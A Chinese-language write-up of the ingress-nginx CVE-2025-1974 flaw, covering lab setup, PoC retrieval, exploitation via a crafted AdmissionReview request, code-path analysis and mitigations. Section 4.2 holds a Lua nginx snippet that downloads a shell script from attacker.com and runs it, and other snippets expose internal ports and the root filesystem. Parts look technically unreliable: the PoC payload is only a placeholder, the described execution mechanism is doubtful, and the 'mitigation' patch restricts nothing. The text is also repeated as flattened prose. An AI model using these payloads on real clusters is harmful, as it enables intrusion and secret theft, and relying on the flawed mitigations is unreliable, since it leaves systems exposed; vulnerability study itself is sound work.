ingress nginx CVE-2025-1974 漏洞分析
字数 1468 2025-08-30 06:50:36

CVE-2025-1974 Ingress-Nginx 漏洞深度分析与教学文档

0x00 漏洞概述

CVE-2025-1974是Kubernetes Ingress-Nginx控制器中发现的一个高危安全漏洞,CVSS评分为9.8。该漏洞允许能够访问pod网络的未认证攻击者在Ingress-Nginx控制器上下文中执行任意代码,可能导致控制器可访问的所有集群范围内的Secrets被泄露。

影响版本

  • ingress-nginx ≤ 1.11.4
  • ingress-nginx = 1.12.0

漏洞本质

该漏洞源于Ingress-Nginx控制器在处理AdmissionReview请求时,对用户提供的Ingress资源配置缺乏充分验证,导致攻击者可以通过精心构造的恶意配置实现任意代码执行。

0x01 环境准备

1.1 所需工具

  • Docker:容器运行时环境
  • kubectl:Kubernetes命令行工具
  • Minikube:本地单节点Kubernetes集群

1.2 安装步骤

kubectl安装

# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

# macOS
brew install kubectl

Minikube安装

# Linux
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube

# macOS
brew install minikube

解决root权限问题

sudo -E minikube start --driver=docker

国内镜像加速

minikube start --image-mirror-country=cn \
    --image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers \
    --kubernetes-version=v1.23.3

1.3 Ingress-Nginx安装

  1. 下载受影响版本的部署文件:
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.3/deploy/static/provider/baremetal/deploy.yaml
  1. 修改镜像源(针对国内环境):
sed -i 's/k8s.gcr.io/registry.cn-hangzhou.aliyuncs.com\/google_containers/g' deploy.yaml
  1. 部署Ingress-Nginx:
kubectl apply -f deploy.yaml
  1. 验证部署:
kubectl get pods -n ingress-nginx

0x02 漏洞复现

2.1 获取POC

git clone https://github.com/sandumjacob/IngressNightmare-POCs.git
cd IngressNightmare-POCs/CVE-2025-1974

2.2 端口映射

kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8443:443

2.3 执行漏洞利用

curl -k -X POST -H "Content-Type: application/json" -d @poc.json https://localhost:8443/networking/v1/ingresses

2.4 POC分析

关键poc.json内容结构:

{
  "apiVersion": "admission.k8s.io/v1",
  "kind": "AdmissionReview",
  "request": {
    "uid": "12345",
    "operation": "CREATE",
    "object": {
      "apiVersion": "networking.k8s.io/v1",
      "kind": "Ingress",
      "metadata": {
        "name": "malicious-ingress",
        "annotations": {
          "nginx.ingress.kubernetes.io/configuration-snippet": "恶意配置"
        }
      },
      "spec": {
        "rules": [{
          "host": "example.com",
          "http": {
            "paths": [{
              "path": "/",
              "pathType": "Prefix",
              "backend": {
                "service": {
                  "name": "dummy-service",
                  "port": {
                    "number": 80
                  }
                }
              }
            }]
          }
        }]
      }
    }
  }
}

0x03 漏洞原理分析

3.1 漏洞位置

漏洞主要存在于internal/ingress/controller/controller.go文件的CheckIngress方法中。

3.2 漏洞调用链

  1. CheckIngress方法:当创建/更新/删除Ingress资源时被调用
  2. testTemplate方法:将配置写入临时文件并测试语法
  3. n.command.Test:使用exec.Command执行nginx -t命令

3.3 关键代码片段

// internal/ingress/controller/controller.go
func (n *NGINXController) CheckIngress(ing *networking.Ingress) error {
    // ...
    err := n.testTemplate(content)
    // ...
}

// internal/ingress/controller/nginx.go
func (n *NGINXController) testTemplate(content []byte) error {
    tmpfile, err := ioutil.TempFile("", "nginx-cfg")
    // ...
    err = n.command.Test(tmpfile.Name())
    // ...
}

// internal/ingress/controller/util.go
func (n *NGINXCommand) Test(filename string) error {
    out, err := exec.Command(n.Binary, "-c", filename, "-t").CombinedOutput()
    // ...
}

0x04 漏洞利用方式

4.1 通过Nginx配置实现RCE

反向代理暴露内部服务

location ~ ^/internal/(.*) {
    proxy_pass http://127.0.0.1:$1;
}

执行恶意代码(CGI/SSI)

location /exec {
    fastcgi_pass unix:/var/run/php-fpm.sock;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME /tmp/malicious.php;
}

路径遍历与敏感文件窃取

location /secret {
    alias /;
}

4.2 实际攻击示例

  1. 通过配置获取敏感信息:
location ~ ^/etc/(.*) {
    alias /$1;
}
  1. 执行系统命令:
location /cmd {
    content_by_lua_block {
        os.execute("wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh");
    }
}

0x05 修复方案

5.1 官方修复

升级到以下版本:

  • ingress-nginx ≥ 1.11.5
  • ingress-nginx ≥ 1.12.1

5.2 临时缓解措施

  1. 限制validating-webhook端口的网络访问
kubectl patch svc ingress-nginx-controller -n ingress-nginx --type='json' -p='[{"op": "replace", "path": "/spec/ports/1", "value": {"name": "webhook", "port": 8443, "protocol": "TCP", "targetPort": "webhook"}}]'
  1. 配置网络策略限制访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-webhook-access
  namespace: ingress-nginx
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: ingress-nginx
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          name: kube-system
    ports:
    - protocol: TCP
      port: 8443

0x06 防御建议

  1. 最小权限原则:限制Ingress-Nginx控制器的RBAC权限
  2. 网络隔离:使用NetworkPolicy限制Pod网络访问
  3. 审计日志:监控AdmissionReview请求
  4. 定期更新:保持Ingress-Nginx控制器为最新版本
  5. 配置检查:定期审计Ingress资源配置

0x07 总结

CVE-2025-1974展示了Kubernetes生态系统中Ingress控制器的潜在安全风险,特别是当控制器具有高权限时。该漏洞的利用需要攻击者能够访问Pod网络,但在云原生环境中,这种访问可能比传统网络环境更容易获得。

通过深入分析该漏洞,我们可以学到:

  1. Kubernetes准入控制机制的安全重要性
  2. 配置验证过程中的潜在风险点
  3. 容器网络隔离的必要性
  4. 最小权限原则在云原生安全中的关键作用

建议所有使用Ingress-Nginx的组织尽快评估风险并采取适当的修复措施。

CVE-2025-1974 Ingress-Nginx 漏洞深度分析与教学文档 0x00 漏洞概述 CVE-2025-1974是Kubernetes Ingress-Nginx控制器中发现的一个高危安全漏洞,CVSS评分为9.8。该漏洞允许能够访问pod网络的未认证攻击者在Ingress-Nginx控制器上下文中执行任意代码,可能导致控制器可访问的所有集群范围内的Secrets被泄露。 影响版本 ingress-nginx ≤ 1.11.4 ingress-nginx = 1.12.0 漏洞本质 该漏洞源于Ingress-Nginx控制器在处理AdmissionReview请求时,对用户提供的Ingress资源配置缺乏充分验证,导致攻击者可以通过精心构造的恶意配置实现任意代码执行。 0x01 环境准备 1.1 所需工具 Docker:容器运行时环境 kubectl:Kubernetes命令行工具 Minikube:本地单节点Kubernetes集群 1.2 安装步骤 kubectl安装 Minikube安装 解决root权限问题 国内镜像加速 1.3 Ingress-Nginx安装 下载受影响版本的部署文件: 修改镜像源(针对国内环境): 部署Ingress-Nginx: 验证部署: 0x02 漏洞复现 2.1 获取POC 2.2 端口映射 2.3 执行漏洞利用 2.4 POC分析 关键poc.json内容结构: 0x03 漏洞原理分析 3.1 漏洞位置 漏洞主要存在于 internal/ingress/controller/controller.go 文件的 CheckIngress 方法中。 3.2 漏洞调用链 CheckIngress方法 :当创建/更新/删除Ingress资源时被调用 testTemplate方法 :将配置写入临时文件并测试语法 n.command.Test :使用exec.Command执行nginx -t命令 3.3 关键代码片段 0x04 漏洞利用方式 4.1 通过Nginx配置实现RCE 反向代理暴露内部服务 执行恶意代码(CGI/SSI) 路径遍历与敏感文件窃取 4.2 实际攻击示例 通过配置获取敏感信息: 执行系统命令: 0x05 修复方案 5.1 官方修复 升级到以下版本: ingress-nginx ≥ 1.11.5 ingress-nginx ≥ 1.12.1 5.2 临时缓解措施 限制validating-webhook端口的网络访问 配置网络策略限制访问 0x06 防御建议 最小权限原则 :限制Ingress-Nginx控制器的RBAC权限 网络隔离 :使用NetworkPolicy限制Pod网络访问 审计日志 :监控AdmissionReview请求 定期更新 :保持Ingress-Nginx控制器为最新版本 配置检查 :定期审计Ingress资源配置 0x07 总结 CVE-2025-1974展示了Kubernetes生态系统中Ingress控制器的潜在安全风险,特别是当控制器具有高权限时。该漏洞的利用需要攻击者能够访问Pod网络,但在云原生环境中,这种访问可能比传统网络环境更容易获得。 通过深入分析该漏洞,我们可以学到: Kubernetes准入控制机制的安全重要性 配置验证过程中的潜在风险点 容器网络隔离的必要性 最小权限原则在云原生安全中的关键作用 建议所有使用Ingress-Nginx的组织尽快评估风险并采取适当的修复措施。